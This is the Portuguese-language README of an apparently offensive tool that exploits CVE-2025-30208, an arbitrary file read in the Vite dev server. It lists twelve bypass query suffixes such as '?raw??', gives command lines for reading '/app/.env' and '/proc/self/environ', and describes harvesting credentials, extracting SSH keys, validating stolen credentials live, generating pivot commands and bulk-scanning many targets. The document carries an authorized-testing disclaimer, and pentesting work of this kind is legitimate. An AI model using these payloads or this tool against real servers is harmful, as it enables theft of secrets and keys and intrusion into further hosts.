
Scanner de exploração para CVE-2025-30208 (leitura arbitrária de arquivos do Vite) com detecção de bypass multivariante, coleta de credenciais, extração de chaves SSH e relatórios estruturados para testes de penetração autorizados.
CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
Severidade: CVSS 5.3 Médio (servidor de desenvolvimento acessível pela rede)
⚠ Apenas para engajamentos de segurança autorizados.
O uso não autorizado contra sistemas que você não possui ou para os quais não tenha permissão explícita por escrito para testar é ilegal.
O servidor de desenvolvimento do Vite permite servir arquivos arbitrários do sistema de arquivos do host através de solicitações /@fs/.
Uma verificação de sanitização de query-string ausente em versões afetadas permite que um atacante anexe sufixos especialmente criados para contornar a lista de permissões e ler qualquer arquivo que o processo possa acessar — incluindo arquivos .env, chaves privadas SSH, credenciais de nuvem e entradas /proc.
| Ramo | Última vulnerável | Corrigido |
|---|---|---|
| 6.3.x | 6.3.0 | 6.3.1+ |
| 6.2.x | 6.2.2 | 6.2.3+ |
| 6.1.x | 6.1.1 | 6.1.2+ |
| 6.0.x | 6.0.11 | 6.0.12+ |
| 5.4.x | 5.4.14 | 5.4.15+ |
| 4.5.x | 4.5.9 | 4.5.10+ |
| Nome | Sufixo / Query | Descrição |
|---|---|---|
raw?? | ?raw?? | ?? à direita quebra rawRE |
import&raw?? | ?import&raw?? | ES module + raw combinados |
raw? | ?raw? | ? único à direita |
url&raw?? | ?url&raw?? | Modo URL combinado |
raw&url?? | ?raw&url?? | Ordem de parâmetros invertida |
import&?raw | ?import&?raw | Prefixo de import malformado |
sec-fetch | ?raw + cabeçalho Sec-Fetch | Contexto de script do navegador |
raw-encoded | ?raw%3f%3f | Separadores codificados em URL |
double-slash | ?raw??/ | Bypass com barra dupla (v5) |
pct-all | %3fraw%3f%3f | Query totalmente codificada em percentual (v5) |
raw-hash | ?raw??# | Bypass com âncora de fragmento (v5) |
wasm-init | ?inline=1.wasm?init | Irmão do CVE-2025-31125 (wasm init) |
pip install requests
# ou
pip install -r requirements.txt
python main.py -t https://target.com
python main.py -t https://target.com --full-chain --output /tmp/report
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080
python main.py -t https://target.com --no-color | tee scan.log
python main.py --version
python -m cve30208 -t https://target.com
| Flag | Padrão | Descrição |
|---|---|---|
-t/--target | — | URL do alvo único |
-l/--lists | — | Arquivo contendo um alvo por linha |
--stealth | desligado | Adicionar atrasos aleatórios entre requisições |
--proxy | — | Proxy HTTP/HTTPS (http://host:port) |
--timeout | 10 | Tempo limite por requisição em segundos |
--verify | desligado | Habilitar verificação de certificado TLS |
--file | — | Ler um caminho específico no host alvo |
--save | — | Salvar conteúdo de --file em um caminho local |
--full-chain | ligado | Executar cadeia completa de exploração (validação ao vivo é padrão) |
--output | — | Escrever relatório JSON + Markdown neste caminho base |
--workers | 10 | Trabalhadores paralelos para varredura em lote |
--ports | veja abaixo | Portas separadas por vírgula para sondar em modo lote |
--no-color/--plain | desligado | Desabilitar códigos de cor ANSI |
--safe-mode | desligado | Ocultar valores de segredos na saída do terminal |
--show-secrets | desligado | Mostrar segredos completos no terminal (sobrescreve --safe-mode) |
--version | — | Imprimir versão e sair |
Portas padrão para varredura em lote: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443
Quando --output /tmp/report é especificado, o scanner escreve:
/tmp/report.json — resultados estruturados legíveis por máquina/tmp/report.md — relatório Markdown legível por humanosA varredura em lote sempre imprime VULN_COUNT=N na última linha para fácil script em shell:
python main.py -l targets.txt | grep '^VULN_COUNT='
Varreduras de alvo único imprimem SCAN_STATUS=VULNERABLE|NOT_VULNERABLE no final para automação.
cve30208/
├── __init__.py — superfície da API pública
├── __main__.py — ponto de entrada python -m cve30208
├── constants.py — constantes BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan
├── ui.py — códigos de cor ANSI, Spin/NullSpin, auxiliares de terminal
├── utils.py — helpers compartilhados (_unescape_js_string)
├── secrets.py — scan_secrets(), parse_env(), parse_environ()
├── ssh.py — extract_ssh_key(), collect_ssh_targets()
├── exploit.py — ExploitResult, ExploitStage (validação de credenciais ao vivo)
inclui um registro de verificação para extensão mais fácil
├── report.py — save_report(), make_md()
└── scanner.py — dataclasses FR/R, Scanner, bulk_scan(), main()
main.py — shim de compatibilidade reversa
requirements.txt
O scanner suprime automaticamente artefatos repetidos para que a saída permaneça limpa mesmo quando HOME é igual a /root ou o mesmo segredo aparece em múltiplos arquivos:
| Camada | Mecanismo |
|---|---|
| Leituras do sistema de arquivos | stage_fs normaliza a lista base de chaves SSH com dict.fromkeys e remove caminhos duplicados da fila reads antes que qualquer saída seja produzida. |
| Salvamento de arquivos | Scanner._save verifica um conjunto _seen_file_paths por varredura; caminhos duplicados retornam o FR já armazenado sem readicionar a r.files. |
| Segredos | Scanner._save desduplica r.secrets globalmente por (name, value) em todos os arquivos; a desduplicação dentro do arquivo é tratada separadamente em scan_secrets. |
| Chaves SSH | stage_ssh colapsa chaves com a mesma assinatura PEM (primeiros _PEM_SIG_LEN bytes) que aparecem em múltiplos arquivos fonte. |
| Comandos de pivô | Blocos de pivô são chaveados por (key_source, host, port); combinações idênticas são impressas apenas uma vez. |
A linha de resumo informa quantos arquivos, segredos e chaves SSH foram suprimidos como duplicatas, por exemplo:
desduplicado 2 arquivo(s), 4 credencial(is), 1 chave(s) SSH suprimidas como duplicatas